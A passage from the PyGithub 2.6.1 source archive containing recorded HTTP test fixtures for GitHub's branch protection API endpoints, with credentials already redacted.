pygithub-2.6.1/tests/ReplayData/Branch.testEditRequiredStatusChecksContexts.txt0000644000175100001660000001043714756101563027463 0ustar00runnerdockerhttps PATCH api.github.com None /repos/jacquev6/PyGithub/branches/integrations/protection/required_status_checks {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} {"checks": [{"context": "check1"}, {"context": "check2"}]} 200 [('Date', 'Tue, 17 Dec 2024 16:27:59 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP,Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"8dad79961dbe48313587d3ea3b19eabfdf9475390a086a41e74a2e62d20ce7a7"'), ('X-OAuth-Scopes', 'read:discussion, repo'), ('X-Accepted-OAuth-Scopes', ''), ('github-authentication-token-expiration', '2025-02-04 16:42:10 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4616'), ('X-RateLimit-Reset', '1734453089'), ('X-RateLimit-Used', '384'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('Transfer-Encoding', 'chunked'), ('Server', 'github.com'), ('X-GitHub-Request-Id', 'C0A6:3A3F07:193A220:199164D:6761A68F')] {"url":"https://api.github.com/repos/jacquev6/PyGithub/branches/integrations/protection/required_status_checks","strict":true,"contexts":["check1","check2"],"contexts_url":"https://api.github.com/repos/jacquev6/PyGithub/branches/integrations/protection/required_status_checks/contexts","checks":[{"context":"check1","app_id":null},{"context":"check2","app_id":null}]} https GET api.github.com None /repos/jacquev6/PyGithub/branches/integrations/protection/required_status_checks {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Date', 'Tue, 17 Dec 2024 16:27:59 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP,Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"8dad79961dbe48313587d3ea3b19eabfdf9475390a086a41e74a2e62d20ce7a7"'), ('X-OAuth-Scopes', 'read:discussion, repo'), ('X-Accepted-OAuth-Scopes', ''), ('github-authentication-token-expiration', '2025-02-04 16:42:10 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4615'), ('X-RateLimit-Reset', '1734453089'), ('X-RateLimit-Used', '385'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('Transfer-Encoding', 'chunked'), ('Server', 'github.com'), ('X-GitHub-Request-Id', 'C0AE:3B27D5:18F5879:194CC92:6761A68F')] {"url":"https://api.github.com/repos/jacquev6/PyGithub/branches/integrations/protection/required_status_checks","strict":true,"contexts":["check1","check2"],"contexts_url":"https://api.github.com/repos/jacquev6/PyGithub/branches/integrations/protection/required_status_checks/contexts","checks":[{"context":"check1","app_id":null},{"context":"check2","app_id":null}]} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Branch.testGetRequiredSignatures.txt0000644000175100001660000000323314756101563025301 0ustar00runnerdockerhttps GET api.github.com None /repos/jacquev6/PyGithub/branches/integrations/protection/required_signatures {'Accept': 'application/vnd.github.zzzax-preview+json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Sun, 21 Oct 2018 18:41:55 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4985'), ('X-RateLimit-Reset', '1540150652'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP'), ('ETag', 'W/"dd58dd0663dbf118bceffe9dc228747e"'), ('X-OAuth-Scopes', 'admin:gpg_key, admin:public_key, admin:repo_hook, gist, notifications, repo, user, write:discussion'), ('X-Accepted-OAuth-Scopes', ''), ('X-GitHub-Media-Type', 'github.zzzax-preview; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'AA32:4C24:302E1BE:6A4FE10:5BCCC873')] {"url":"https://api.github.com/repos/jacquev6/PyGithub/branches/integrations/protection/required_signatures","enabled":true} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Branch.testProtectedAttributes.txt0000644000175100001660000005420514756101563025021 0ustar00runnerdockerhttps GET api.github.com None /user {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('content-length', '1330'), ('vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding'), ('x-served-by', 'e724c57ebb9961c772a91e2dd7421c8d'), ('x-xss-protection', '1; mode=block'), ('x-content-type-options', 'nosniff'), ('etag', '"1b171bef9da5a5bcca9799131499edae"'), ('access-control-allow-credentials', 'true'), ('status', '200 OK'), ('x-ratelimit-remaining', '4925'), ('x-github-media-type', 'github.v3; format=json'), ('access-control-expose-headers', 'ETag, Link, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('x-github-request-id', 'AE1E5031:14B57:766BC21:568E7104'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('last-modified', 'Wed, 06 Jan 2016 19:09:00 GMT'), ('date', 'Thu, 07 Jan 2016 14:07:00 GMT'), ('access-control-allow-origin', '*'), ('content-security-policy', "default-src 'none'"), ('strict-transport-security', 'max-age=31536000; includeSubdomains; preload'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '5000'), ('x-frame-options', 'deny'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1452177625')] {"login":"khornberg","id":3442051,"avatar_url":"https://avatars.githubusercontent.com/u/3442051?v=3","gravatar_id":"","url":"https://api.github.com/users/khornberg","html_url":"https://github.com/khornberg","followers_url":"https://api.github.com/users/khornberg/followers","following_url":"https://api.github.com/users/khornberg/following{/other_user}","gists_url":"https://api.github.com/users/khornberg/gists{/gist_id}","starred_url":"https://api.github.com/users/khornberg/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/khornberg/subscriptions","organizations_url":"https://api.github.com/users/khornberg/orgs","repos_url":"https://api.github.com/users/khornberg/repos","events_url":"https://api.github.com/users/khornberg/events{/privacy}","received_events_url":"https://api.github.com/users/khornberg/received_events","type":"User","site_admin":false,"name":"Kyle Hornberg","company":null,"blog":"https://khornberg.github.io","location":null,"email":null,"hireable":null,"bio":null,"public_repos":40,"public_gists":9,"followers":7,"following":2,"created_at":"2013-01-31T20:22:05Z","updated_at":"2016-01-06T19:09:00Z","private_gists":1,"total_private_repos":0,"owned_private_repos":0,"disk_usage":16433,"collaborators":0,"plan":{"name":"free","space":976562499,"collaborators":0,"private_repos":0}} https GET api.github.com None /repos/khornberg/PyGithub {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('content-length', '13870'), ('vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding'), ('x-served-by', 'a30e6f9aa7cf5731b87dfb3b9992202d'), ('x-xss-protection', '1; mode=block'), ('x-content-type-options', 'nosniff'), ('etag', '"c874b56da60decc8687ee4ed43dcd3aa"'), ('access-control-allow-credentials', 'true'), ('status', '200 OK'), ('x-ratelimit-remaining', '4924'), ('x-github-media-type', 'github.v3; format=json'), ('access-control-expose-headers', 'ETag, Link, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('x-github-request-id', 'AE1E5031:14B61:23FC1AEB:568E7104'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('last-modified', 'Thu, 31 Dec 2015 15:01:40 GMT'), ('date', 'Thu, 07 Jan 2016 14:07:01 GMT'), ('access-control-allow-origin', '*'), ('content-security-policy', "default-src 'none'"), ('strict-transport-security', 'max-age=31536000; includeSubdomains; preload'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '5000'), ('x-frame-options', 'deny'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1452177625')] {"id":48852849,"name":"PyGithub","full_name":"khornberg/PyGithub","owner":{"login":"khornberg","id":3442051,"avatar_url":"https://avatars.githubusercontent.com/u/3442051?v=3","gravatar_id":"","url":"https://api.github.com/users/khornberg","html_url":"https://github.com/khornberg","followers_url":"https://api.github.com/users/khornberg/followers","following_url":"https://api.github.com/users/khornberg/following{/other_user}","gists_url":"https://api.github.com/users/khornberg/gists{/gist_id}","starred_url":"https://api.github.com/users/khornberg/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/khornberg/subscriptions","organizations_url":"https://api.github.com/users/khornberg/orgs","repos_url":"https://api.github.com/users/khornberg/repos","events_url":"https://api.github.com/users/khornberg/events{/privacy}","received_events_url":"https://api.github.com/users/khornberg/received_events","type":"User","site_admin":false},"private":false,"html_url":"https://github.com/khornberg/PyGithub","description":"Python library implementing the GitHub API v3","fork":true,"url":"https://api.github.com/repos/khornberg/PyGithub","forks_url":"https://api.github.com/repos/khornberg/PyGithub/forks","keys_url":"https://api.github.com/repos/khornberg/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/khornberg/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/khornberg/PyGithub/teams","hooks_url":"https://api.github.com/repos/khornberg/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/khornberg/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/khornberg/PyGithub/events","assignees_url":"https://api.github.com/repos/khornberg/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/khornberg/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/khornberg/PyGithub/tags","blobs_url":"https://api.github.com/repos/khornberg/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/khornberg/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/khornberg/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/khornberg/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/khornberg/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/khornberg/PyGithub/languages","stargazers_url":"https://api.github.com/repos/khornberg/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/khornberg/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/khornberg/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/khornberg/PyGithub/subscription","commits_url":"https://api.github.com/repos/khornberg/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/khornberg/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/khornberg/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/khornberg/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/khornberg/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/khornberg/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/khornberg/PyGithub/merges","archive_url":"https://api.github.com/repos/khornberg/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/khornberg/PyGithub/downloads","issues_url":"https://api.github.com/repos/khornberg/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/khornberg/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/khornberg/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/khornberg/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/khornberg/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/khornberg/PyGithub/releases{/id}","created_at":"2015-12-31T15:01:38Z","updated_at":"2015-12-31T15:01:40Z","pushed_at":"2015-12-31T15:07:58Z","git_url":"git://github.com/khornberg/PyGithub.git","ssh_url":"git@github.com:khornberg/PyGithub.git","clone_url":"https://github.com/khornberg/PyGithub.git","svn_url":"https://github.com/khornberg/PyGithub","homepage":"http://jacquev6.github.io/PyGithub","size":12973,"stargazers_count":0,"watchers_count":0,"language":"Python","has_issues":false,"has_downloads":true,"has_wiki":false,"has_pages":true,"forks_count":0,"mirror_url":null,"open_issues_count":0,"forks":0,"open_issues":0,"watchers":0,"default_branch":"master","permissions":{"admin":true,"push":true,"pull":true},"parent":{"id":3544490,"name":"PyGithub","full_name":"PyGithub/PyGithub","owner":{"login":"PyGithub","id":11288996,"avatar_url":"https://avatars.githubusercontent.com/u/11288996?v=3","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"private":false,"html_url":"https://github.com/PyGithub/PyGithub","description":"Python library implementing the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","created_at":"2012-02-25T12:53:47Z","updated_at":"2016-01-07T11:45:22Z","pushed_at":"2016-01-04T13:48:35Z","git_url":"git://github.com/PyGithub/PyGithub.git","ssh_url":"git@github.com:PyGithub/PyGithub.git","clone_url":"https://github.com/PyGithub/PyGithub.git","svn_url":"https://github.com/PyGithub/PyGithub","homepage":"http://jacquev6.github.io/PyGithub","size":13065,"stargazers_count":740,"watchers_count":740,"language":"Python","has_issues":true,"has_downloads":true,"has_wiki":false,"has_pages":true,"forks_count":231,"mirror_url":null,"open_issues_count":43,"forks":231,"open_issues":43,"watchers":740,"default_branch":"master"},"source":{"id":3544490,"name":"PyGithub","full_name":"PyGithub/PyGithub","owner":{"login":"PyGithub","id":11288996,"avatar_url":"https://avatars.githubusercontent.com/u/11288996?v=3","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"private":false,"html_url":"https://github.com/PyGithub/PyGithub","description":"Python library implementing the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","created_at":"2012-02-25T12:53:47Z","updated_at":"2016-01-07T11:45:22Z","pushed_at":"2016-01-04T13:48:35Z","git_url":"git://github.com/PyGithub/PyGithub.git","ssh_url":"git@github.com:PyGithub/PyGithub.git","clone_url":"https://github.com/PyGithub/PyGithub.git","svn_url":"https://github.com/PyGithub/PyGithub","homepage":"http://jacquev6.github.io/PyGithub","size":13065,"stargazers_count":740,"watchers_count":740,"language":"Python","has_issues":true,"has_downloads":true,"has_wiki":false,"has_pages":true,"forks_count":231,"mirror_url":null,"open_issues_count":43,"forks":231,"open_issues":43,"watchers":740,"default_branch":"master"},"network_count":231,"subscribers_count":1} https GET api.github.com None /repos/khornberg/PyGithub/branches/master {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('content-length', '3589'), ('vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding'), ('x-served-by', 'b0ef53392caa42315c6206737946d931'), ('x-xss-protection', '1; mode=block'), ('x-content-type-options', 'nosniff'), ('etag', '"62bfcfb47e26986d4c1a6db0bcf43cb6"'), ('access-control-allow-credentials', 'true'), ('status', '200 OK'), ('x-ratelimit-remaining', '4923'), ('access-control-expose-headers', 'ETag, Link, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('x-github-request-id', 'AE1E5031:14B59:AE47571:568E7105'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Thu, 07 Jan 2016 14:07:01 GMT'), ('access-control-allow-origin', '*'), ('content-security-policy', "default-src 'none'"), ('strict-transport-security', 'max-age=31536000; includeSubdomains; preload'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '5000'), ('x-frame-options', 'deny'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1452177625')] {"name":"master","commit":{"sha":"a39c1e8b9ab601419277eefb4fbb586ded0af146","commit":{"author":{"name":"Jimmy Zelinskie","email":"jimmyzelinskie@gmail.com","date":"2015-12-16T06:29:19Z"},"committer":{"name":"Jimmy Zelinskie","email":"jimmyzelinskie@gmail.com","date":"2015-12-16T06:29:19Z"},"message":"Merge pull request #365 from PyGithub/nhomar-travis-button\n\nAdd travis button on README.","tree":{"sha":"33b533e02e45deccc832bc39813710764fb2a9d4","url":"https://api.github.com/repos/khornberg/PyGithub/git/trees/33b533e02e45deccc832bc39813710764fb2a9d4"},"url":"https://api.github.com/repos/khornberg/PyGithub/git/commits/a39c1e8b9ab601419277eefb4fbb586ded0af146","comment_count":0},"url":"https://api.github.com/repos/khornberg/PyGithub/commits/a39c1e8b9ab601419277eefb4fbb586ded0af146","html_url":"https://github.com/khornberg/PyGithub/commit/a39c1e8b9ab601419277eefb4fbb586ded0af146","comments_url":"https://api.github.com/repos/khornberg/PyGithub/commits/a39c1e8b9ab601419277eefb4fbb586ded0af146/comments","author":{"login":"jzelinskie","id":343539,"avatar_url":"https://avatars.githubusercontent.com/u/343539?v=3","gravatar_id":"","url":"https://api.github.com/users/jzelinskie","html_url":"https://github.com/jzelinskie","followers_url":"https://api.github.com/users/jzelinskie/followers","following_url":"https://api.github.com/users/jzelinskie/following{/other_user}","gists_url":"https://api.github.com/users/jzelinskie/gists{/gist_id}","starred_url":"https://api.github.com/users/jzelinskie/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jzelinskie/subscriptions","organizations_url":"https://api.github.com/users/jzelinskie/orgs","repos_url":"https://api.github.com/users/jzelinskie/repos","events_url":"https://api.github.com/users/jzelinskie/events{/privacy}","received_events_url":"https://api.github.com/users/jzelinskie/received_events","type":"User","site_admin":false},"committer":{"login":"jzelinskie","id":343539,"avatar_url":"https://avatars.githubusercontent.com/u/343539?v=3","gravatar_id":"","url":"https://api.github.com/users/jzelinskie","html_url":"https://github.com/jzelinskie","followers_url":"https://api.github.com/users/jzelinskie/followers","following_url":"https://api.github.com/users/jzelinskie/following{/other_user}","gists_url":"https://api.github.com/users/jzelinskie/gists{/gist_id}","starred_url":"https://api.github.com/users/jzelinskie/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jzelinskie/subscriptions","organizations_url":"https://api.github.com/users/jzelinskie/orgs","repos_url":"https://api.github.com/users/jzelinskie/repos","events_url":"https://api.github.com/users/jzelinskie/events{/privacy}","received_events_url":"https://api.github.com/users/jzelinskie/received_events","type":"User","site_admin":false},"parents":[{"sha":"45c7f072e4732f89a9e756a27a4306f2f6dbd9c5","url":"https://api.github.com/repos/khornberg/PyGithub/commits/45c7f072e4732f89a9e756a27a4306f2f6dbd9c5","html_url":"https://github.com/khornberg/PyGithub/commit/45c7f072e4732f89a9e756a27a4306f2f6dbd9c5"},{"sha":"a83649b68f1bb978c254f4cf1efcae88dc2608d7","url":"https://api.github.com/repos/khornberg/PyGithub/commits/a83649b68f1bb978c254f4cf1efcae88dc2608d7","html_url":"https://github.com/khornberg/PyGithub/commit/a83649b68f1bb978c254f4cf1efcae88dc2608d7"}]},"_links":{"self":"https://api.github.com/repos/khornberg/PyGithub/branches/master","html":"https://github.com/khornberg/PyGithub/tree/master"},"protection":{"enabled":false,"required_status_checks":{"enforcement_level":"off","contexts":[]}}} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Branch.testRemoveProtection.txt0000644000175100001660000000473714756101563024332 0ustar00runnerdockerhttps DELETE api.github.com None /repos/jacquev6/PyGithub/branches/integrations/protection {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 204 [('status', '204 No Content'), ('x-ratelimit-remaining', '4994'), ('content-length', '330'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"2dada6dafd332016bcdf06e42487e520"'), ('date', 'Thu, 10 May 2012 13:56:55 GMT'), ('content-type', 'application/json; charset=utf-8')] https GET api.github.com None /repos/jacquev6/PyGithub/branches/integrations {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4994'), ('content-length', '395'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"46245273100a0cfb1e8339a2cfb122da"'), ('date', 'Mon, 07 May 2018 12:40:05 GMT'), ('content-type', 'application/json; charset=utf-8')] {"name":"integrations","commit":{"sha":"d60943db8c9ae6ca1f9400d378a757e6f281dbde","url":"https://api.github.com/repos/jacquev6/PyGithub/commits/d60943db8c9ae6ca1f9400d378a757e6f281dbde"},"protected":false,"protection_url":"https://api.github.com/repos/jacquev6/PyGithub/branches/integrations/protection"} https GET api.github.com None /repos/jacquev6/PyGithub/branches/integrations/protection {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Accept': 'application/vnd.github.luke-cage-preview+json'} None 404 [('status', '404 Not Found'), ('content-length', '126'), ('x-content-type-options', 'nosniff'), ('content-security-policy', "default-src 'none'"), ('access-control-expose-headers', 'ETag, Link, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('x-github-request-id', 